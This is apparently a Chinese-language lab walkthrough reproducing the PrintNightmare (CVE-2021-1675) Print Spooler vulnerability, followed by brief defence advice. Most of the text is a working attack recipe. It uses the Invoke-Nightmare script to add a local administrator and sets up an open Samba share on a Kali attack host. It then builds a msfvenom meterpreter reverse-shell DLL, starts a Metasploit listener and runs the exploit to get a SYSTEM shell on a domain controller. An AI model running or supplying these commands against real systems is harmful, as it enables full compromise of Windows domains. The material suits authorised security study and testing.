前言
Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中,攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序。
若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。
攻击者可以利用任何经过身份验证的用户都可以调用RpcAddPrinterDriverEx()并指定位于远程服务器上的驱动程序文件这一事实。这会导致 Print Spooler 服务spoolsv.exe以 SYSTEM 权限执行任意 DLL 文件中的代码。
0x00 PowerShell脚本实现本地提权
漏洞环境:Windows10 2004 家庭版
漏洞条件:(默认)开启Print Spooler服务

漏洞EXP:https://github.com/calebstewart/CVE-2021-1675
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "john" -NewPassword "P@ssw0rd" -DriverName "Win"
net localgroup Administrators

runas /user:john powershell.exe # 以john身份启动powershell.exe

0x01 Windows Spooler Service RCE 域控
漏洞环境
受害机:【域控】Windows server 2019(192.168.138.128)
攻击机:Kali(192.168.138.131)
漏洞条件
域控中一个普通的域用户 harden


域控默认开启Spooler服务

域控开启SMB服务 域控Windows Defender及相关安全防护关闭
"0xe1 - ERROR VIRUS INFECTED"
漏洞利用
首先,在攻击机Kali中配置SMB服务
nano /etc/samba/smb.conf
[global]
workgroup = workgroup
server string = test
netbios name = MZ
security = user
map to guest = Bad User
smb ports = 445
log file = /var/log/samba/log.%m
max log size = 5
[smb]
comment = Samba
browseable = yes
writeable = yes
public = yes
path = /tmp/
read only = no
guest ok = yes

配置成功后开启SMB服务,sudo service smbd start
,使用域控访问SMB服务,可以正常访问

现在,在Kali中安装漏洞利用所需要的修改版的impacket
模块
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
进而将EXP下载到本地
git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675/
python3 CVE-2021-1675.py -h

接着,通过以下命令来验证域控是否存在漏洞
rpcdump.py @192.168.138.128 | grep MS-RPRN

此时,准备工作就绪,我们正式开始漏洞利用!
在可被域控通过SMB服务访问到的Kali/tmp
目录下生成dll文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.138.131 LPORT=4444 -f dll -o /rever.dll

使用MSF设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.138.131
set lport 4444

最后,执行如下命令,MSF上线
# python3 CVE-2021-1675.py AD域名/普通域用户:用户密码@域控地址 ‘恶意dll文件共享地址’
python3 CVE-2021-1675.py Nets.Brooklyn/harden:xxxxxx@192.168.138.128 '\\192.168.138.131\smb\rever.dll'

可以看到,成功弹回域控权限:nt authority\system
0x02 踩坑
1、在域控中创建新用户时,默认设置了用户下次登录必须修改密码

创建用户harden
之后未进行首次登录修改密码,在最后一步漏洞执行时显示连接失败

2、域控Windows Defender未关闭,在最后一步漏洞执行时报错

0x03 漏洞防御
以下几种方式处理:
禁用samba服务于Print Spooler服务
Win+R中输入services.msc
选择print spooler服务禁用

及时选择对应版本进行Windows更新补丁
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675
参考
cve-2021-1675复现
CVE-2021-1675-and-CVE-2021-34527-PrintNightmare
Win10 Windows Server2019局域网SMB不能正常共享解决办法




